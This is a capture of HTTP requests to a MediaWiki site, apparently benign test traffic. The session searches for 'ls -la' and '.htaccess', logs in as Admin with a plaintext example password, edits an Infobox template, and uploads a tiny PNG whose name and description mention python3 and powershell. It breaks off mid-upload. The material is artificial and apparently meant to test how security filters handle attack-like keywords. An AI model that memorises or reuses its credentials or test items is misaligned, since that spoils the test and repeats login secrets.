{"method": "GET", "target": "/index.php?search=ls+-la&title=Special%3ASearch&go=Go", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=ls+-la&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=ls+-la&title=Special%3ASearch&profile=default&fulltext=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=.htaccess&title=Special%3ASearch&go=Go", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=.htaccess&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=.htaccess&title=Special%3ASearch&profile=default&fulltext=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:UserLogin&returnto=Main+Page", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:UserLogin&returnto=Main+Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6h07mueara4v6llhjv03serk692mujhm"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=startup&only=scripts&raw=1&safemode=1&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:UserLogin&returnto=Main+Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6h07mueara4v6llhjv03serk692mujhm"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1iuh6", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:UserLogin&returnto=Main+Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6h07mueara4v6llhjv03serk692mujhm"], "body": ""}
{"method": "GET", "target": "/resources/src/mediawiki.special.userlogin.login.styles/images/glyph-people-large.png?707d6", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6h07mueara4v6llhjv03serk692mujhm"], "body": ""}
{"method": "POST", "target": "/index.php?title=Special:UserLogin&returnto=Main+Page", "headers": ["Host: example.com", "Content-Length: 192", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:UserLogin&returnto=Main+Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6h07mueara4v6llhjv03serk692mujhm"], "body": "title=Special%3AUserLogin&wpName=Admin&wpPassword=Example-pass-2026&wploginattempt=Log+in&wpEditToken=%2B%5C&authAction=login&force=&wpLoginToken=88e959f6bfc57bbe13b3ae15000362c26af22671%2B%5C"}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.chosen%2Cclient%2Cconfirmable%2ClengthLimit%2Cspinner%7Cjquery.spinner.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cmisc-authed-curate%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=4w1ib", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=watchlist&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userAvatar&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=settings&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=logOut&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/index.php?title=Template:Infobox&action=edit", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.action.edit.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.editfont.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Template:Infobox&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Csite%7Cjquery.client%2ClengthLimit%2CmakeCollapsible%2CtextSelection%7Cjquery.makeCollapsible.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2CconfirmCloseWindow%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.action.edit%7Cmediawiki.action.edit.collapsibleFooter%2CeditWarning%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.visibleLengthLimit%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1w3uh", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Template:Infobox&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 511", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Template:Infobox&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "action=stashedit&format=json&formatversion=2&title=Template%3AInfobox&section=&sectiontitle=&summary=&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%3Cincludeonly%3E%7B%7C+class%3D%22infobox%22%0A!+%7B%7B%7Bname%7C%7B%7BPAGENAME%7D%7D%7D%7D%7D%0A%7C-%0A%7C+%5B%5BFile%3A%7B%7B%7Bimage%7D%7D%7D%7C200px%5D%5D%0A%7C%7D%3C%2Fincludeonly%3E%3Cnoinclude%3EUsage%3A+%3Cnowiki%3E%7B%7BInfobox%7Cname%3D...%7D%7D%3C%2Fnowiki%3E%3C%2Fnoinclude%3E&token=46425d33c8b524405843812af83725be6af22671%2B%5C"}
{"method": "POST", "target": "/index.php?title=Template:Infobox&action=submit", "headers": ["Host: example.com", "Content-Length: 2245", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryp4WNOE42QTlZ0sfO", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Template:Infobox&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200049\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200049\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n0\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n<includeonly>{| class=\"infobox\"\r\n! {{{name|{{PAGENAME}}}}}\r\n|-\r\n| [[File:{{{image}}}|200px]]\r\n|}</includeonly><noinclude>Usage: <nowiki>{{Infobox|name=...}}</nowiki></noinclude>\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nInfobox template\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave page\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n46425d33c8b524405843812af83725be6af22671+\\\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO--\r\n"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 289", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Template:Infobox&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "action=stashedit&format=json&formatversion=2&title=Template%3AInfobox&section=&sectiontitle=&summary=Infobox+template&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&stashedtexthash=fa87f1b7d1dfe2c860f1821e9e4d9d446ef78923&token=46425d33c8b524405843812af83725be6af22671%2B%5C"}
{"method": "GET", "target": "/wiki/Template:Infobox", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Template:Infobox&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiPostEditRevision2=created; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Csite%7Cjquery.client%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cnotification%2Cstorage%2CtempUserCreated%2Cuser%2Cutil%2CvisibleTimeout%7Cmediawiki.action.view.postEdit%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.icons-interactions%2Cindicators%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=6zwhv", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Template:Infobox", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=unStar&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": ""}
{"method": "GET", "target": "/wiki/Special:Upload", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.client%2ClengthLimit%2Cspinner%7Cjquery.spinner.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2CconfirmCloseWindow%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Ctemplate%2Cuser%2Cutil%7Cmediawiki.libs.jpegmeta%2Cpluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.upload%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1mpuf", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&formatversion=2&titles=File%3APic.png&prop=imageinfo&iiprop=uploadwarning&errorformat=html&errorlang=en", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&formatversion=2&titles=File%3APic%20python3.png&prop=imageinfo&iiprop=uploadwarning&errorformat=html&errorlang=en", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Upload", "headers": ["Host: example.com", "Content-Length: 1190", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKLskNzhkAu9rYahb", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": "------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nSpecial:Upload\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"wpUploadFile\"; filename=\"pic.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\ufffd\ufffd\ufffd\u0000\u0000\u0003\u0001\u0001\u0000\ufffd\ufffd\ufffd\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"wpDestFile\"\r\n\r\nPic python3.png\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"wpUploadDescription\"\r\n\r\nA picture for python3, powershell, ls -la and .htaccess notes\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"wpLicense\"\r\n\r\n\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; 